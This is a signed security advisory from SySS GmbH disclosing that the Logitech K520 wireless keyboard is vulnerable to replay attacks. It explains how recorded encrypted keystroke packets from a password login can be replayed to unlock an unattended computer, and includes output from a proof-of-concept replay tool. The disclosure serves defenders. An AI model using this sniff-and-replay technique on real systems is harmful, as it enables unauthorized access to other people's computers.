Logitech K520 keyboards suffer form cryptographic issues and insufficient protection against replay attacks.
02220b6a6fed68dae857d702f9529ab8a00d04c1577c2ca7f2ea7e090a2225d2
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512
Advisory ID: SYSS-2016-044
Product: K520 (Keyboard of Wireless Combo MK520)
Manufacturer: Logitech
Affected Version(s): Model Y-R0012
Tested Version(s): Model Y-R0012
Vulnerability Type: Cryptographic Issues (CWE-310)
Insufficient Protection against Replay Attacks
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2016-05-20
Solution Date: -
Public Disclosure: 2016-07-29
CVE Reference: Not yet assigned
Authors of Advisory: Matthias Deeg and Gerhard Klostermeier (SySS GmbH)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
Logitech Wireless Combo MK520 is a wireless desktop set consisting of a
mouse and a keyboard.
The manufacturer describes the product as follows (see [1]):
"A keyboard and mouse that puts convenience and control comfortably at
your fingertips"
Due to an insecure implementation of the encrypted data communication,
the wireless keyboard Logitech K520 is prone to replay attacks.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The SySS GmbH found out that the wireless keyboard Logitech K520 is
prone to replay attacks.
An attacker can sniff the AES-encrypted data packets of the 2.4 GHz
radio communication sent by the keyboard to the receiver (USB dongle)
and replay the recorded communication data at will causing the same
effect as the original data communication.
A replay attack against the keyboard can, for example, be used to gain
unauthorized access to a computer system that is operated with a
vulnerable Logitech K520 keyboard. In this attack scenario, an
attacker records the radio communication during a password-based user
authentication of his or her victim, for instance during a login to the
operating system or during unlocking a screen lock. At an opportune
moment when the victim's computer system is unattended, the attacker
approaches the victim's computer and replays the previously recorded
AES-encrypted data communication for the password-based user
authentication and by this gets unauthorized access to the victim's
system.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The SySS GmbH could successfully perform a replay attack as described
in the previous section using the USB radio dongle Crazyradio PA (see
[2]) and a simple proof-of-concept software tool.
The following output exemplarily illustrates a replay attack with the
recorded data packets for the word "test".
# python simple_replay.py
Simple nRF24 Replay Tool v0.1 by Matthias Deeg - SySS GmbH (c) 2016
[*] Configure radio
[*] Start recording. Press <CTRL+C> to stop recording ...
[+] Received data: 00400116a9
[+] Received data: 00400116a9
[+] Received data: 00400116a9
[+] Received data: 00400116a9
[+] Received data: 00400116a9
[+] Received data: 00400116a9
[+] Received data: 00400116a9
[+] Received data: 00400116a9
[+] Received data: 00d30df6cb13eefa1096b1521ad400000000000000cd
[+] Received data: 00400014ac
[+] Received data: 00400014ac
[+] Received data: 00400014ac
[+] Received data: 00d3831cd42485427c59b1521ad50000000000000008
[+] Received data: 004f000116000000009a
[+] Received data: 00d392de6925cb23d130b1521ad6000000000000004d
[+] Received data: 00400014ac
[+] Received data: 00400014ac
[+] Received data: 00400014ac
[+] Received data: 00d39624521a1284b7b5b1521ad70000000000000011
[+] Received data: 00d3013ee201adee2750b1521ad80000000000000004
[+] Received data: 00d396386b00d24c2028b1521ad90000000000000098
[+] Received data: 00400014ac
[+] Received data: 00400014ac
[+] Received data: 00d33044231b9bbf2c7bb1521ada0000000000000083
[+] Received data: 00d33044231b9bbf2c7bb1521ada0000000000000083
[+] Received data: 00d3cad8717ce1780928b1521adb000000000000001c
[+] Received data: 004f000116000000009a
[+] Received data: 00400116a9
[+] Received data: 00400116a9
[+] Received data: 00400116a9
[+] Received data: 00400116a9
^C
[*] Stop recording
[*] Press <ENTER> to replay the recorded data packets or <CTRL+C> to quit ...
[+] Send data: 00400116a9
[+] Send data: 00400116a9
[+] Send data: 00400116a9
[+] Send data: 00400116a9
[+] Send data: 00400116a9
[+] Send data: 00400116a9
[+] Send data: 00400116a9
[+] Send data: 00400116a9
[+] Send data: 00d30df6cb13eefa1096b1521ad400000000000000cd
[+] Send data: 00400014ac
[+] Send data: 00400014ac
[+] Send data: 00400014ac
[+] Send data: 00d3831cd42485427c59b1521ad50000000000000008
[+] Send data: 004f000116000000009a
[+] Send data: 00d392de6925cb23d130b1521ad6000000000000004d
[+] Send data: 00400014ac
[+] Send data: 00400014ac
[+] Send data: 00400014ac
[+] Send data: 00d39624521a1284b7b5b1521ad70000000000000011
[+] Send data: 00d3013ee201adee2750b1521ad80000000000000004
[+] Send data: 00d396386b00d24c2028b1521ad90000000000000098
[+] Send data: 00400014ac
[+] Send data: 00400014ac
[+] Send data: 00d33044231b9bbf2c7bb1521ada0000000000000083
[+] Send data: 00d33044231b9bbf2c7bb1521ada0000000000000083
[+] Send data: 00d3cad8717ce1780928b1521adb000000000000001c
[+] Send data: 004f000116000000009a
[+] Send data: 00400116a9
[+] Send data: 00400116a9
[+] Send data: 00400116a9
[+] Send data: 00400116a9
[*] Press <ENTER> to replay the recorded data packets or <CTRL+C> to quit ...
[*] Stop replaying
[*] Done.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
The SySS GmbH is not aware of a solution for this reported security
vulnerability.
The manufacturer Logitech sent the SySS GmbH the following feedback:
"Please thank them a lot of their notification and let them know that
Logitech is working to provide a better encryption for future products."
For further information please contact the manufacturer.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2016-05-20: Vulnerability reported to manufacturer
2016-05-20: Manufacturer acknowledges e-mail with SySS security advisory
2016-05-31: Manufacturer confirms reported security issue and sends
a statement
2016-06-06: E-mail to manufacturer with question about a solution for
current affected products
2016-06-09: E-mail from manufacturer with another statement concerning
future and current products
2016-07-29: Public release of the security advisory
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] Product website for Logitech Wireless Combo MK520
http://www.logitech.com/en-us/product/wireless-combo-mk520
[2] Product website for Crazyradio PA
https://www.bitcraze.io/crazyradio-pa/
[3] SySS Security Advisory SYSS-2016-044
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2016-044.txt
[4] SySS Responsible Disclosure Policy
https://www.syss.de/en/responsible-disclosure-policy/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Matthias Deeg and Gerhard
Klostermeier of the SySS GmbH.
E-Mail: matthias.deeg (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/Materialien/PGPKeys/Matthias_Deeg.asc
Key fingerprint = D1F0 A035 F06C E675 CDB9 0514 D9A4 BF6A 34AD 4DAB
E-Mail: gerhard.klostermeier (at) syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Gerhard_Klostermeier.asc
Key fingerprint = 8A9E 75CC D510 4FF6 8DB5 CC30 3802 3AAB 573E B2E7
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v2
iQIcBAEBCgAGBQJXmxofAAoJENmkv2o0rU2rPf8P/2zx7k8sot0SaLQSrFZbZsZO
gf3VrbcJRO0tyQ1ymMtk+jw1avqab1o+Bbz4tCuBe4/6TH7iBxCDoFJS63Uu65yF
HS3Im/tr8X1iBSICSHiA4P8JjsiTftoAq85+YTHv/ifO93XjwulBAbCzafoFaGVk
iCKllEI17TX5sP135YXCKAp+E2fsfGokaZ9xQtnAZKysWjSutfhOdAZCXitg0i+M
ju3OxfLKWVB3Bwqyjk4C3V925Axzm30TjqyeHGbOo+lOs2BgOroDQy7Rx8rCiOBV
d0GI7pvq6go7S6EctS3Wjtzy/+5QixKEj1eHmsy4c64hEylKMLJHlFlWEBFjMBq3
GgBEeC9Qb6XbKHr7k0beufracfGQ5cKnuG/kRjKuebCB0jC0QXmUpzu91qAWZaQN
ElZ2FQoM6Sk+eQmVkmYFPjkjpmby3rfwmYQ7cpdeFd/6MpvBZ0MuHA86jySnAlyt
bS2lCTcUZ/bBd1wOzHUjakuuZe6LrTjIP7Fb0Y3y9azYiti8b9SVsnEbZIH+xdYr
QiH+dOrhjlK0RH3JWBOPddk3Aqt2aySyHxlaccKCCZqDwvGyLqvy43BqrwC2IZb2
kHbYyHqGk9uitmSKVOzegrgdpof3h7Ltv1zQXWS2zPzBNCvx2/pQweS5EmbV18gz
OvWZEHzk0kyiwnjXrBJs
=qt0z
-----END PGP SIGNATURE-----